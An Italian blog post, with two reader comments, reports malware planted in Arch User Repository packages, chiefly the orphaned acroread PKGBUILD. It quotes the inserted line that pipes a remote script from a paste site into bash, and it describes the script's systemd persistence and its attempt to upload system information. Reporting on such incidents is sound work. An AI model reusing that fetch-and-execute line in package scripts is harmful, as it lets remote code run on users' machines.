Trovato malware nel repository AUR di Arch Linux

2

Due settimane fa era toccato ad uno dei mirror dei repository di Gentoo; oggi la notizia che anche Arch User Repository (AUR) è stato compromesso. AUR permette l’installazione di software non ufficialmente supportato da Arch; i pacchetti ospitati sono praticamente delle “ricette” per verificare (e installare) le dipendenze, quindi scaricare, se necessario compilare, ed infine pacchettizzare il software richiesto; a questo punto pacman (il gestore di pacchetti di Arch) può installarlo come qualsiasi altro pacchetto.

Calma, però: a differenza di Gentoo, dove il numero di pacchetti modificati è stato tanto consistente da considerare il repository come “totalmente compromesso”, per Arch sembra che i pacchetti contenenti codice malevolo si contino sulle dita di una mano (per ora).

Un utente ha segnalato tramite la mailing list di Arch una variazione nel pacchetto acrored presente in AUR: il pacchetto, pur risultando “orfano” (ovvero senza maintainer, un utente di riferimento che lo gestisse), era stato modificato improvvisamente il 7 Luglio dall’utente “xeactor”, aggiungendo del codice assolutamente non sospetto:

curl -s https://ptpb.pw/~x|bash -&

L’utente medio di Arch, lo sappiamo (ed ogni riferimento ad altri autori del blog è puramente casuale, ndr), adora leggersi il contenuto dei pacchetti tra una compilazione e l’altra, dunque inutile dire che il problema è stato immediatamente indirizzato e ben 6 minuti dopo era stato ripristinato il commit precedente.

Questa segnalazione ha fatto scattare una serie di controlli sugli altri pacchetti e ne sono stati trovati altri due modificati con lo stesso modus operandi.

Per quanti riguarda questi ultimi due, non è ben chiaro cosa potesse voler mai fare visto che lo script “malevolo” raccoglieva info di sistema tramite un uname -a, reperiva la lista dell’hardware, alcune informazioni riguardanti pacman e l’output di systemctl list-units per tentare di spedire il tutto a pastebin.com.

La malvagità dell’operazione termina qui. Il secondo script, quello che avrebbe dovuto inviare l’output a Pastebin aveva un errorino: la funzione di upload si chiamava “upload” ma lo script cercava di richiamare la funzione “uploader”. La cigliegina sullo script è stata indubbiamente la API key di Pastebin *in chiaro* inclusa nel codice. Un vero malware. Nel senso che è stato fatto proprio mal.

Per quanto riguarda la curl inserita in acrored invece, la cosa sembra più strutturata: la curl scarica uno script per procurarsi un secondo script in grado di installare una unit di systemd che periodicamente rieseguiva il secondo script per installare un’altra unit.

Da alcune ricerche effettuate degli utenti e segnalate su Reddit, sembra che l’utente “xeactor” avesse pubblicato dei pacchetti per il mining di criptovalute, ed il sospetto è proprio quello che cercasse di infilare alcuni di questi in altri pacchetti AUR.

Cosa ci insegna questa storia? Ci insegna che forse dovremmo controllare i pacchetti generati da utenti che troviamo sui vari repo, Arch o meno (e che forse gli utenti Arch non fanno malissimo ad essere pignoli).

E sicuramente che dovremmo ricordarci di come chiamiamo le funzioni negli script, se vogliamo usarle eh…

Affascinata sin da piccola dai computer (anche se al massimo avevo un cluster di Mio Caro Diario), sono un’opensourcer per caso, da quando sono incappata in Mandrake. Legacy dentro. Se state leggendo un articolo amarcord, probabilmente l’ho scritto io.

2 risposte a “Trovato malware nel repository AUR di Arch Linux”

  1. Avatar Kim ALLAMANDOLA

    Qualche nota randomica: AUR NON È stato in alcun modo compromesso, ha sempre continuato a fare il suo lavoro. Semplicemente un utente specifico ha modificato il pkgbuild di un pacchetto orfano, il vecchio acroread (Acrobat Reader per gli amici) aggiungendo uno script che colleziona dati banali sulla macchina.

    Il timing è molto interessante: dalla scoperta del pacchetto compromesso al suo restore sono passati sui 5′.

    Ovvero, a differenza di quanto tanti stan scrivendo:
    – il software comunitario è assai sicuro
    – il software per esser sicuro deve essere comunitario con una community abbastanza vasta
    Il punto primo si evince facilmente dal numero di vulnerabilità tra software proprietario e FOSS (e non venitemi a dire che il FOSS è marginale e per questo ha pochi problemi, la stragrande maggioranza dei server, la totalità dei supercomputers, la stragrande maggioranza dei device embedded, smartphones inclusi sono interamente o si basano largamente su software libero) e sopratutto dal tempo e modo in cui sono corrette. Il secondo è una ovvia conseguenza: tanti occhi == tanta probabilità che un malintenzionato venga scoperto.

  2. Avatar Kim ALLAMANDOLA

    Ognuno di noi per diventare grande è stato bambino. Questo per dire che non vi sono alternative a repo “aperti al mondo” per entrare in un percorso dove si comincia dal repo di tutti (stile l’Arxiv per le pubblicazioni scientifiche) e pian piano si scala verso i repo ufficiali e da li verso i repo ufficiali stable.

    Se usi software che è ancora solo nei repo “aperti al mondo” sai che può presentare problemi, banalmente non funzionare, ma scegli di usarlo perché ti interessa comunque. Nella pratica questo riguarda un numero minimo di progetti che o sono seguiti perché vi si partecipa a vario titolo o perché si vuol provare qualcosa ad ogni costo. Se lo fai semplicemente è a tuo carico controllare (5′ in genere son più che sufficienti, la prima volta) che tutto sembri ok. In seguito ci metti anche meno, ti basta dare una scorsa al diff di turno.

    Ps quanti credi che usino acroread su GNU/Linux oggi?

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *